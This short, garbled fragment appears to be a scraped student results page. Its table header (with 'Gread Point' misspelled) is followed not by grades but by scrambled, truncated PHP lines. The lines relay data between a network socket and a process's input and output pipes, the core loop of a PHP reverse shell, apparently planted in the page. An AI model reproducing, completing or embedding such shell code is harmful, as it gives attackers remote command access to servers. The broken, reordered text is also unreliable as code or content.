Student Name Roll No. Reg. No Course Name Gread Point
fwrite($sock
if ($debug) echo "STDERR: $input
";
$input = fread($pipes[2]
if ($debug) echo "STDERR READ
";
if (in_array($pipes[2]
}
fwrite($sock
if ($debug) echo "STDOUT: $input
";
$input = fread($pipes[1]
if ($debug) echo "STDOUT READ
";
if (in_array($pipes[1]
}
fwrite($pipes[0]
if ($debug) echo "SOCK: $input
";
$input=fread($sock
if ($debug) echo "SOCK READ
";
if (in_array($sock
$num_changed_sockets=@stream_select($read_a null);
$read_a = array($sock